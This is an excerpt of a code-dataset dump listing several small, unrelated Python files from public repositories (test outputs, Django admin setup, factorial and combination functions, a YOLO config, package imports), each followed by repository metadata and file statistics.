016e1092d0da8226e8b214c40e9fc02b933f372d
|
[
"MIT"
] | 3
|
2020-11-18T15:39:36.000Z
|
2021-04-12T06:54:42.000Z
|
tests/trivial/outputs.py
|
hbrunie/PyFloT
|
016e1092d0da8226e8b214c40e9fc02b933f372d
|
[
"MIT"
] | 1
|
2022-03-28T07:48:58.000Z
|
2022-03-28T17:36:51.000Z
|
tests/trivial/outputs.py
|
hbrunie/PyFloT
|
016e1092d0da8226e8b214c40e9fc02b933f372d
|
[
"MIT"
] | 1
|
2022-03-24T08:11:35.000Z
|
2022-03-24T08:11:35.000Z
|
outputs = []
## Test Constructor
output = """PROFILING Command: ['./testConstructor ']
PrecisionTuner: MODE PROFILING
PrecisionTuner: MODE PROFILING
"""
outputs.append(output)
output = """Error no callstacks\n"""
outputs.append(output)
output = """Strategy Command: ['./testConstructor ']
Strategy: 1, STEP reached: NoOccurence
No more strategy to test.\n"""
outputs.append(output)
## Test Exp
output = """PROFILING Command: ['./testExp ']
PrecisionTuner: MODE PROFILING
SUCCESS: 23.1039\n\n"""
outputs.append(output)
output = """No more strategy to generate.
"""
outputs.append(output)
output = """Strategy Command: ['./testExp ']
Strategy: 1, STEP reached: NoOccurence
No more strategy to test.
"""
outputs.append(output)
## Test Header
output = """PROFILING Command: ['./testHeader ']
PrecisionTuner: MODE PROFILING
"""
outputs.append(output)
output = """Error no callstacks
"""
outputs.append(output)
output = """Strategy Command: ['./testHeader ']
Strategy: 1, STEP reached: NoOccurence
No more strategy to test.
"""
outputs.append(output)
## Test MathFunctions
output = """PROFILING Command: ['./testMathFunctions ']
PrecisionTuner: MODE PROFILING
THRESHOLD=0.100000, reference=1911391536333.537109 a=1911391536333.537109
SUCCESS
"""
outputs.append(output)
output = """No more strategy to generate.
"""
outputs.append(output)
output = """Strategy Command: ['./testMathFunctions ']
Strategy: 1, STEP reached: NoOccurence
No more strategy to test.\n"""
outputs.append(output)
| 22.088235
| 73
| 0.724368
| 170
| 1,502
| 6.4
| 0.223529
| 0.143382
| 0.209559
| 0.183824
| 0.632353
| 0.630515
| 0.556985
| 0.556985
| 0.556985
| 0.556985
| 0
| 0.041921
| 0.126498
| 1,502
| 67
| 74
| 22.41791
| 0.787348
| 0.037284
| 0
| 0.714286
| 0
| 0
| 0.654836
| 0.065414
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0cc1f65077ab38894cdaf933ec1add37031d739e
| 261
|
py
|
Python
|
fbtapack/Browser/fbta_browser_mini.py
|
kandation/FBTAFastPublic
|
22806a91c7d43ad49cb21ff3fa3821c70a86ffbb
|
[
"MIT"
] | null | null | null |
fbtapack/Browser/fbta_browser_mini.py
|
kandation/FBTAFastPublic
|
22806a91c7d43ad49cb21ff3fa3821c70a86ffbb
|
[
"MIT"
] | null | null | null |
fbtapack/Browser/fbta_browser_mini.py
|
kandation/FBTAFastPublic
|
22806a91c7d43ad49cb21ff3fa3821c70a86ffbb
|
[
"MIT"
] | null | null | null |
from fbtapack.Browser.fbta_browser_detector import FBTABrwoserDetector
from fbtapack.Browser.fbta_brwoser_constant import FBTABrowserConstant as BrowserConstant
class FBTABrowserMini(FBTABrwoserDetector):
def __init__(self):
BrowserConstant.DEBUG
| 32.625
| 89
| 0.846743
| 26
| 261
| 8.192308
| 0.692308
| 0.112676
| 0.178404
| 0.215962
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.111111
| 261
| 7
| 90
| 37.285714
| 0.918103
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.4
| 0
| 0.8
| 0
| 1
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
0ce2cef12fae7c77b9fc40807c9f42f80aad6524
| 275
|
py
|
Python
|
apps/library/admin.py
|
wis-software/office-manager
|
0342d2cf9b3e4779f3e3d2a4faba6768e95047b1
|
[
"MIT"
] | 7
|
2017-09-28T11:20:43.000Z
|
2020-01-18T23:23:52.000Z
|
apps/library/admin.py
|
wis-software/office-manager
|
0342d2cf9b3e4779f3e3d2a4faba6768e95047b1
|
[
"MIT"
] | 1
|
2019-03-12T18:16:12.000Z
|
2019-03-12T20:17:40.000Z
|
apps/library/admin.py
|
wis-software/office-manager
|
0342d2cf9b3e4779f3e3d2a4faba6768e95047b1
|
[
"MIT"
] | 7
|
2017-09-27T11:12:25.000Z
|
2019-04-04T13:24:01.000Z
|
from django.contrib import admin
from apps.library import models
admin.site.register(models.Book)
admin.site.register(models.Holder)
admin.site.register(models.Offer)
admin.site.register(models.Tag)
admin.site.register(models.Author)
admin.site.register(models.Publisher)
| 22.916667
| 37
| 0.821818
| 40
| 275
| 5.65
| 0.4
| 0.238938
| 0.451327
| 0.610619
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.061818
| 275
| 11
| 38
| 25
| 0.875969
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.25
| 0
| 0.25
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0b2c4ce82e4a7e9d7274dca386b9a4e9a61fdcf8
| 373
|
py
|
Python
|
__main__.py
|
seahailang/textGan
|
469a95634dbac3ecafe57e369bead66499c79da2
|
[
"MIT"
] | null | null | null |
__main__.py
|
seahailang/textGan
|
469a95634dbac3ecafe57e369bead66499c79da2
|
[
"MIT"
] | null | null | null |
__main__.py
|
seahailang/textGan
|
469a95634dbac3ecafe57e369bead66499c79da2
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
# encoding: utf-8
"""
@version: 0.0
@author: hailang
@Email: seahailang@gmail.com
@software: PyCharm
@file: __main__.py.py
@time: 2018/4/24 14:55
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import tensorflow as tf
FLAGS = tf.app.flags.FLAGS
if __name__ == '__main__':
pass
| 16.217391
| 38
| 0.742627
| 55
| 373
| 4.563636
| 0.745455
| 0.119522
| 0.191235
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.04375
| 0.142091
| 373
| 23
| 39
| 16.217391
| 0.740625
| 0.428954
| 0
| 0
| 0
| 0
| 0.039024
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.142857
| 0.571429
| 0
| 0.571429
| 0.142857
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
|
0
| 4
|
0b3631e0158290d0178158c7150dec3c529f7890
| 96
|
py
|
Python
|
django_vend/apps.py
|
remarkablerocket/django-vend
|
c07809a7f1748d98ed78c115dcf22de1e0875f94
|
[
"BSD-3-Clause"
] | null | null | null |
django_vend/apps.py
|
remarkablerocket/django-vend
|
c07809a7f1748d98ed78c115dcf22de1e0875f94
|
[
"BSD-3-Clause"
] | null | null | null |
django_vend/apps.py
|
remarkablerocket/django-vend
|
c07809a7f1748d98ed78c115dcf22de1e0875f94
|
[
"BSD-3-Clause"
] | null | null | null |
from django.apps import AppConfig
class DjangoVendConfig(AppConfig):
name = 'django_vend'
| 16
| 34
| 0.770833
| 11
| 96
| 6.636364
| 0.818182
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.15625
| 96
| 5
| 35
| 19.2
| 0.901235
| 0
| 0
| 0
| 0
| 0
| 0.114583
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
0b421ba44fcdea3611ab277781737cb0b16e6a2c
| 81
|
py
|
Python
|
main.py
|
Lannix/ScanNet
|
3a2783017ff7b9d53fd3610b28f46370c01b9145
|
[
"Apache-2.0"
] | null | null | null |
main.py
|
Lannix/ScanNet
|
3a2783017ff7b9d53fd3610b28f46370c01b9145
|
[
"Apache-2.0"
] | null | null | null |
main.py
|
Lannix/ScanNet
|
3a2783017ff7b9d53fd3610b28f46370c01b9145
|
[
"Apache-2.0"
] | null | null | null |
from scan_lib import neros
def __main__():
neros.go_to_HELL()
__main__()
| 9
| 26
| 0.703704
| 12
| 81
| 3.833333
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.197531
| 81
| 8
| 27
| 10.125
| 0.707692
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| true
| 0
| 0.25
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0badde09218bbe7209adde535cef50c5bf23eb83
| 600
|
py
|
Python
|
day_1/factorial_function.py
|
Ishaan-99-cyber/ml-workshop-wac-1
|
186d4b6544c7e55cea052312934e455a51d1698a
|
[
"MIT"
] | 6
|
2020-12-24T07:10:58.000Z
|
2021-04-11T09:19:18.000Z
|
day_1/factorial_function.py
|
Ishaan-99-cyber/ml-workshop-wac-1
|
186d4b6544c7e55cea052312934e455a51d1698a
|
[
"MIT"
] | null | null | null |
day_1/factorial_function.py
|
Ishaan-99-cyber/ml-workshop-wac-1
|
186d4b6544c7e55cea052312934e455a51d1698a
|
[
"MIT"
] | 6
|
2020-12-24T09:42:25.000Z
|
2021-01-26T01:34:38.000Z
|
"""
N : 1 * 2 * 3 * .... * N
"""
def factorial(n: int) -> int:
result = 1
for i in range(1, n + 1):
result *= i
return result
"""
nPr = n! / (n - r)!
"""
def permutation(n: int, r: int) -> int:
return factorial(n) // factorial(n - r)
# return 24 // factorial(n - r)
# return 24 // factorial(2)
# return 24 // 2
# return 12
# nCr = nPr / r!
def combination(n: int, r: int) -> int:
return permutation(n, r) // factorial(r)
print(combination(4, 0))
print(combination(4, 1))
print(combination(4, 2))
print(combination(4, 3))
print(combination(4, 4))
| 16.666667
| 44
| 0.545
| 90
| 600
| 3.633333
| 0.255556
| 0.244648
| 0.259939
| 0.04893
| 0.247706
| 0.247706
| 0
| 0
| 0
| 0
| 0
| 0.058691
| 0.261667
| 600
| 35
| 45
| 17.142857
| 0.679458
| 0.201667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.214286
| false
| 0
| 0
| 0.142857
| 0.428571
| 0.357143
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 4
|
0bb2235fe3ee2f94c93d817057cc2cfc79735e18
| 88
|
py
|
Python
|
transports/africas_talking/__init__.py
|
tperrier/mwachx
|
94616659dc29843e661b2ecc9a2e7f1d4e81b5a4
|
[
"Apache-2.0"
] | 3
|
2015-05-27T14:35:49.000Z
|
2016-02-26T21:04:32.000Z
|
transports/africas_talking/__init__.py
|
tperrier/mwachx
|
94616659dc29843e661b2ecc9a2e7f1d4e81b5a4
|
[
"Apache-2.0"
] | 375
|
2015-01-31T10:08:34.000Z
|
2021-06-10T19:44:21.000Z
|
transports/africas_talking/__init__.py
|
tperrier/mwachx
|
94616659dc29843e661b2ecc9a2e7f1d4e81b5a4
|
[
"Apache-2.0"
] | 6
|
2016-01-10T19:52:41.000Z
|
2020-06-15T22:07:24.000Z
|
import urls
from api import send , forward
from at_utils import AfricasTalkingException
| 22
| 44
| 0.852273
| 12
| 88
| 6.166667
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.136364
| 88
| 3
| 45
| 29.333333
| 0.973684
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
0bb927402d6c087ae8074fc1de5a8add3dbd777a
| 63
|
py
|
Python
|
Projects/Random_Quotes_Website/quotes/__init__.py
|
ieternalleo/AlgoCode
|
77287392ce08fba082307adb588a1495cb42b84e
|
[
"MIT"
] | 151
|
2020-10-01T07:38:26.000Z
|
2022-03-31T10:07:55.000Z
|
Projects/Random_Quotes_Website/quotes/__init__.py
|
ieternalleo/AlgoCode
|
77287392ce08fba082307adb588a1495cb42b84e
|
[
"MIT"
] | 285
|
2020-10-01T09:34:29.000Z
|
2021-08-02T12:13:49.000Z
|
Projects/Random_Quotes_Website/quotes/__init__.py
|
ieternalleo/AlgoCode
|
77287392ce08fba082307adb588a1495cb42b84e
|
[
"MIT"
] | 275
|
2020-10-01T09:43:51.000Z
|
2022-03-30T19:30:53.000Z
|
#This file may not be empty so i can easily upload it to github
| 63
| 63
| 0.777778
| 14
| 63
| 3.5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.206349
| 63
| 1
| 63
| 63
| 0.98
| 0.984127
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
f055806f57abbc0260f6ec2ca1fe318f0800c84e
| 194
|
py
|
Python
|
detection/models/detection/yolo/constants.py
|
stanford-policylab/surveilling-surveillance
|
bbb9a147927a6342eecfe07ffa756b3acdb63f35
|
[
"MIT"
] | 8
|
2021-05-21T03:38:52.000Z
|
2021-11-21T08:32:41.000Z
|
detection/models/detection/yolo/constants.py
|
stanford-policylab/surveilling-surveillance
|
bbb9a147927a6342eecfe07ffa756b3acdb63f35
|
[
"MIT"
] | null | null | null |
detection/models/detection/yolo/constants.py
|
stanford-policylab/surveilling-surveillance
|
bbb9a147927a6342eecfe07ffa756b3acdb63f35
|
[
"MIT"
] | 1
|
2021-06-13T21:49:14.000Z
|
2021-06-13T21:49:14.000Z
|
import os
SIZE = 416
CONFIG_DIR = os.path.dirname(__file__)
CONFIGS = {"yolov3": os.path.join(CONFIG_DIR, "yolov3.cfg"),
"yolov3-tiny": os.path.join(CONFIG_DIR, "yolov3-tiny.cfg")}
| 24.25
| 70
| 0.675258
| 29
| 194
| 4.275862
| 0.482759
| 0.217742
| 0.16129
| 0.258065
| 0.403226
| 0.403226
| 0
| 0
| 0
| 0
| 0
| 0.042424
| 0.149485
| 194
| 7
| 71
| 27.714286
| 0.709091
| 0
| 0
| 0
| 0
| 0
| 0.216495
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.2
| 0
| 0.2
| 0
| 1
| 0
| 0
| null | 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
f0630ab387342b9ada6cf33ec6e957814c849462
| 462
|
py
|
Python
|
server/filemonitor/models.py
|
zhsbdashabi/filemonitored
|
5c39756c13886b677e2e79451ef3c7bc11c07a1b
|
[
"Apache-2.0"
] | null | null | null |
server/filemonitor/models.py
|
zhsbdashabi/filemonitored
|
5c39756c13886b677e2e79451ef3c7bc11c07a1b
|
[
"Apache-2.0"
] | 1
|
2020-06-08T10:19:51.000Z
|
2020-06-08T10:19:51.000Z
|
server/filemonitor/models.py
|
zhsbdashabi/filemonitored
|
5c39756c13886b677e2e79451ef3c7bc11c07a1b
|
[
"Apache-2.0"
] | null | null | null |
from django.db import models
# Create your models here.
class change_dir(models.Model):
id = models.AutoField(primary_key=True)
src_dir = models.CharField(max_length=255)
ipaddr = models.CharField(max_length=15)
change_time = models.CharField(max_length=30)
add_time = models.CharField(max_length=30)
event_type = models.CharField(max_length=10)
# def __str__(self):
# return self.src_dir, self.ipaddr, self.change_time, self.add_time,self.event_type
| 28.875
| 84
| 0.78355
| 72
| 462
| 4.763889
| 0.472222
| 0.218659
| 0.262391
| 0.349854
| 0.174927
| 0.174927
| 0
| 0
| 0
| 0
| 0
| 0.026634
| 0.106061
| 462
| 15
| 85
| 30.8
| 0.803874
| 0.272727
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.125
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
f0821a289cb2993fe1dd57aa6199283f9c94ba0f
| 123
|
py
|
Python
|
alpaca/uncertainty_estimator/random_estimator.py
|
mtereshkin/alpaca
|
1fe46f802dd02a90792d65a03e3e7066fa9adfcf
|
[
"Apache-2.0"
] | null | null | null |
alpaca/uncertainty_estimator/random_estimator.py
|
mtereshkin/alpaca
|
1fe46f802dd02a90792d65a03e3e7066fa9adfcf
|
[
"Apache-2.0"
] | null | null | null |
alpaca/uncertainty_estimator/random_estimator.py
|
mtereshkin/alpaca
|
1fe46f802dd02a90792d65a03e3e7066fa9adfcf
|
[
"Apache-2.0"
] | null | null | null |
import numpy as np
class RandomEstimator:
def estimate(self, X_pool, *args):
return np.ones(X_pool.shape[0])
| 17.571429
| 39
| 0.682927
| 19
| 123
| 4.315789
| 0.842105
| 0.121951
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.010309
| 0.211382
| 123
| 6
| 40
| 20.5
| 0.835052
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0.25
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 4
|
b2cba081bb62d1b2f2cb124fa6770913c1ae1a1b
| 86
|
py
|
Python
|
vp_suite/utils/__init__.py
|
Flunzmas/vp-suite
|
391570121b5bd9e3fd23aca9a0945a63c4173a24
|
[
"MIT"
] | 3
|
2022-01-31T18:40:23.000Z
|
2022-02-21T09:19:07.000Z
|
vp_suite/utils/__init__.py
|
Flunzmas/vp-suite
|
391570121b5bd9e3fd23aca9a0945a63c4173a24
|
[
"MIT"
] | 16
|
2022-01-06T08:38:26.000Z
|
2022-02-23T19:19:28.000Z
|
vp_suite/utils/__init__.py
|
AIS-Bonn/vp-suite
|
479bd48185b9a93a6bc6bff2dfe226e9c65800d8
|
[
"MIT"
] | 3
|
2022-02-07T22:34:45.000Z
|
2022-02-22T11:14:37.000Z
|
r"""
This package contains utilities used throughout the whole `vp-suite` package.
"""
| 28.666667
| 77
| 0.755814
| 12
| 86
| 5.416667
| 0.916667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.127907
| 86
| 3
| 78
| 28.666667
| 0.866667
| 0.895349
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
b2d9e2d984dec8415793a8d10b43f8cc39b68de6
| 194
|
py
|
Python
|
exercicios-4/ex 3.py
|
luiztorresgithub/python-course-from-cousera-made-by-usp
|
54642f4cdf02c8aa4b000d8d24a37d77af82c117
|
[
"MIT"
] | null | null | null |
exercicios-4/ex 3.py
|
luiztorresgithub/python-course-from-cousera-made-by-usp
|
54642f4cdf02c8aa4b000d8d24a37d77af82c117
|
[
"MIT"
] | null | null | null |
exercicios-4/ex 3.py
|
luiztorresgithub/python-course-from-cousera-made-by-usp
|
54642f4cdf02c8aa4b000d8d24a37d77af82c117
|
[
"MIT"
] | null | null | null |
def vogal(c):
if c == 'a' or c == 'e' or c == 'i' or c == 'o' or c == 'u' or c == 'A' or c == 'E' or c == 'I' or c == 'O' or c == 'U':
return True
else:
return False
| 32.333333
| 124
| 0.381443
| 38
| 194
| 1.947368
| 0.368421
| 0.364865
| 0.108108
| 0.135135
| 0.486486
| 0.486486
| 0.486486
| 0.486486
| 0.486486
| 0.486486
| 0
| 0
| 0.386598
| 194
| 6
| 125
| 32.333333
| 0.621849
| 0
| 0
| 0
| 0
| 0
| 0.051282
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0
| 0
| 0.6
| 0
| 0
| 0
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
b2dec58f8da2c79d508ca3ed8f99c60e58761bf2
| 222
|
py
|
Python
|
PcapLogParser.py
|
sidraj2002/PythonScripts
|
df66711d7f2654634f1d5cf2d91564e678b1cb7f
|
[
"MIT"
] | null | null | null |
PcapLogParser.py
|
sidraj2002/PythonScripts
|
df66711d7f2654634f1d5cf2d91564e678b1cb7f
|
[
"MIT"
] | null | null | null |
PcapLogParser.py
|
sidraj2002/PythonScripts
|
df66711d7f2654634f1d5cf2d91564e678b1cb7f
|
[
"MIT"
] | null | null | null |
import json
import boto3
import logging
from botocore.exceptions import ClientError
def PcapParse(PcapInput):
_json_out_file_name = 'output.txt'
file = open(_json_out_file_name, 'r')
data = []
| 15.857143
| 43
| 0.693694
| 28
| 222
| 5.214286
| 0.678571
| 0.09589
| 0.150685
| 0.205479
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005848
| 0.22973
| 222
| 13
| 44
| 17.076923
| 0.847953
| 0
| 0
| 0
| 0
| 0
| 0.04955
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.125
| false
| 0
| 0.5
| 0
| 0.625
| 0
| 1
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
b2df5df94f9f3355377cabd708dd9efd85bd50ae
| 128
|
py
|
Python
|
main.py
|
earlfunk21/MoraxApp
|
5a2ba1630feca22abeb4892b784cea38174f6d87
|
[
"MIT"
] | null | null | null |
main.py
|
earlfunk21/MoraxApp
|
5a2ba1630feca22abeb4892b784cea38174f6d87
|
[
"MIT"
] | null | null | null |
main.py
|
earlfunk21/MoraxApp
|
5a2ba1630feca22abeb4892b784cea38174f6d87
|
[
"MIT"
] | null | null | null |
import core
from kivy.core.window import Window
if __name__ == '__main__':
Window.size = (300, 630)
core.MyApp().run()
| 18.285714
| 35
| 0.671875
| 18
| 128
| 4.333333
| 0.722222
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.057692
| 0.1875
| 128
| 6
| 36
| 21.333333
| 0.692308
| 0
| 0
| 0
| 0
| 0
| 0.0625
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.4
| 0
| 0.4
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
651bd61ef09d6f403940ac3e6101d79f810ef3ea
| 243
|
py
|
Python
|
shop/admin.py
|
mohammadanarul/Ecommerce-Django-YT
|
afecc8f41693925619b81986d979706c64175360
|
[
"MIT"
] | null | null | null |
shop/admin.py
|
mohammadanarul/Ecommerce-Django-YT
|
afecc8f41693925619b81986d979706c64175360
|
[
"MIT"
] | null | null | null |
shop/admin.py
|
mohammadanarul/Ecommerce-Django-YT
|
afecc8f41693925619b81986d979706c64175360
|
[
"MIT"
] | null | null | null |
from atexit import register
from django.contrib import admin
from .models import Category, Brand, Product, ProductImages
admin.site.register(Category)
admin.site.register(Brand)
admin.site.register(Product)
admin.site.register(ProductImages)
| 27
| 59
| 0.831276
| 32
| 243
| 6.3125
| 0.40625
| 0.178218
| 0.336634
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.082305
| 243
| 8
| 60
| 30.375
| 0.90583
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.428571
| 0
| 0.428571
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
6523a048701eb1b49a35e71961d1935d7d5d7202
| 290
|
py
|
Python
|
book/controller/__init__.py
|
Oumourin/Book-Manager-System
|
80b0abf6152f3a3a8d4050ae4b3d1293ace78adb
|
[
"MIT"
] | 3
|
2019-07-25T10:07:32.000Z
|
2019-11-10T04:10:29.000Z
|
book/controller/__init__.py
|
Oumourin/Book-Manager-System
|
80b0abf6152f3a3a8d4050ae4b3d1293ace78adb
|
[
"MIT"
] | null | null | null |
book/controller/__init__.py
|
Oumourin/Book-Manager-System
|
80b0abf6152f3a3a8d4050ae4b3d1293ace78adb
|
[
"MIT"
] | 1
|
2020-05-20T12:39:46.000Z
|
2020-05-20T12:39:46.000Z
|
from .auth import *
from .index import *
# from .search import *
# from .sale import *
from .report import *
from .purchase import *
from .sell import *
from book.controller.manager.add_book import *
from book.controller.manager.member import *
from .manager import *
from .search import *
| 24.166667
| 46
| 0.744828
| 40
| 290
| 5.375
| 0.35
| 0.465116
| 0.148837
| 0.204651
| 0.288372
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.158621
| 290
| 11
| 47
| 26.363636
| 0.881148
| 0.141379
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
653a018ef20c00ccb45b543a3db02d402b252f93
| 264
|
py
|
Python
|
boot/api/app/main/__init__.py
|
maxmlr/rpi-photobooth
|
bd479e321320d433bbc33c678b3e0a97640b6cb5
|
[
"MIT"
] | 1
|
2021-11-08T20:46:00.000Z
|
2021-11-08T20:46:00.000Z
|
boot/api/app/main/__init__.py
|
maxmlr/rpi-photobooth
|
